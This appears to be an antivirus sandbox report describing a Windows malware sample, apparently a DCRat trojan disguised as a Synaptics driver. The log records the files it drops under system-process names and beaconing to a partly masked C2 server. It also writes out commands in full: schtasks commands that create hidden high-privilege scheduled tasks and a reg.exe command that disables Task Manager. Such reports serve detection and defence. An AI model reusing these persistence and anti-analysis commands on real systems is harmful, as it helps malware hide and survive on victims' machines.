Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'Synaptics Pointing Device Driver' = '%ALLUSERSPROFILE%\Synaptics\Synaptics.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\conhostc
- <SYSTEM32>\tasks\conhost
- <SYSTEM32>\tasks\wudfhostw
- <SYSTEM32>\tasks\lsassl
- <SYSTEM32>\tasks\nvidiaprofileinspector
- <SYSTEM32>\tasks\cmd
- <SYSTEM32>\tasks\nvidiaprofileinspectorn
- <SYSTEM32>\tasks\cmdc
- <SYSTEM32>\tasks\spoolsvs
- <SYSTEM32>\tasks\wudfhost
- <SYSTEM32>\tasks\lsass
- <SYSTEM32>\tasks\spoolsv
- <SYSTEM32>\tasks\winlogonw
- <SYSTEM32>\tasks\winlogon
- <SYSTEM32>\tasks\werfaultw
- <SYSTEM32>\tasks\werfault
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
Searches for windows to
detect analytical utilities:
- ClassName: 'OLLYDBG', WindowName: ''
Modifies file system
Creates the following files
- <Current directory>\._cache_<File name>.exe
- %TEMP%\y9hoxk9uvi
- %ProgramFiles%\preupd\ee201eac4591f0
- %ProgramFiles%\preupd\werfault.exe
- C:\users\public\downloads\cc11b995f2a76d
- C:\users\public\downloads\winlogon.exe
- C:\totalcmd\language\f3b6ecef712a24
- C:\totalcmd\language\spoolsv.exe
- %WINDIR%\addins\6203df4a6bafc7
- %WINDIR%\addins\lsass.exe
- C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\ebf1f9fa8afd6d
- C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\cmd.exe
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\088424020bedd6
- %TEMP%\ihjmqftdov.bat
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\conhost.exe
- %ProgramFiles%\pqpe9x\nvidiaprofileinspector.exe
- %ProgramFiles(x86)%\google\crashreports\480b7989c529f6
- %ProgramFiles(x86)%\google\crashreports\wudfhost.exe
- C:\msocache\all users\088424020bedd6
- C:\msocache\all users\conhost.exe
- C:\bridgeruntimehostcrt\43wmsea7nrf9nkcvc91.vbe
- C:\bridgeruntimehostcrt\hyperwinhost.exe
- C:\bridgeruntimehostcrt\ubir4qndf9.bat
- %TEMP%\dcratbuild.exe
- %TEMP%\nvidiaprofileinspector.exe
- %ALLUSERSPROFILE%\synaptics\rcxfbeb.tmp
- %ALLUSERSPROFILE%\synaptics\synaptics.exe
- %ProgramFiles%\pqpe9x\39b9dc398f8950
- nul
Sets the 'hidden' attribute to the following files
- <Current directory>\._cache_<File name>.exe
- %ALLUSERSPROFILE%\synaptics\synaptics.exe
Deletes the following files
- %TEMP%\y9hoxk9uvi
Moves the following files
- from %ALLUSERSPROFILE%\synaptics\rcxfbeb.tmp to %ALLUSERSPROFILE%\synaptics\synaptics.exe
Network activity
Connects to
- '92.##5.107.243':80
TCP
HTTP GET requests
- http://92.##5.107.243/Update80universal/CpuDefault/ImageProtect/5secure/_Gamecentral3/ProtectTemp/update/trackvideophp/ImagejsLowuniversaltemporary.php?06#######################################...
- http://92.##5.107.243/Update80universal/CpuDefault/ImageProtect/5secure/_Gamecentral3/ProtectTemp/update/trackvideophp/ImagejsLowuniversaltemporary.php?5P#######################################...
UDP
- 'localhost':123
Miscellaneous
Searches for the following windows
- ClassName: 'MS_WINHELP' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '<Current directory>\._cache_<File name>.exe'
- '%TEMP%\nvidiaprofileinspector.exe'
- '%TEMP%\dcratbuild.exe'
- '%ALLUSERSPROFILE%\synaptics\synaptics.exe' InjUpdate
- '%WINDIR%\syswow64\wscript.exe' "C:\bridgeruntimehostcrt\43wMsea7Nrf9nkCVC91.vbe"
- 'C:\bridgeruntimehostcrt\hyperwinhost.exe'
- '%WINDIR%\addins\lsass.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\bridgeruntimehostcrt\uBir4QNdf9.bat" "' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\IHJMQfTdoV.bat"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\bridgeruntimehostcrt\uBir4QNdf9.bat" "
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\IHJMQfTdoV.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "WerFaultW" /sc MINUTE /mo 14 /tr "'%ProgramFiles%\preupd\WerFault.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WerFault" /sc ONLOGON /tr "'%ProgramFiles%\preupd\WerFault.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WerFaultW" /sc MINUTE /mo 8 /tr "'%ProgramFiles%\preupd\WerFault.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Downloads\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Public\Downloads\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Downloads\winlogon.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'%WINDIR%\addins\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONLOGON /tr "'%WINDIR%\addins\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'%WINDIR%\addins\lsass.exe'" /f
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
- '<SYSTEM32>\schtasks.exe' /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\cmd.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\cmd.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\conhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\conhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\conhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "nvidiaProfileInspectorn" /sc MINUTE /mo 11 /tr "'%ProgramFiles%\pqpe9x\nvidiaProfileInspector.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "nvidiaProfileInspector" /sc ONLOGON /tr "'%ProgramFiles%\pqpe9x\nvidiaProfileInspector.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "nvidiaProfileInspectorn" /sc MINUTE /mo 9 /tr "'%ProgramFiles%\pqpe9x\nvidiaProfileInspector.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 10 /tr "'%ProgramFiles(x86)%\Google\CrashReports\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Google\CrashReports\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 5 /tr "'%ProgramFiles(x86)%\Google\CrashReports\WUDFHost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\conhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost" /sc ONLOGON /tr "'C:\MSOCache\All Users\conhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\conhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "cmd" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\cmd.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
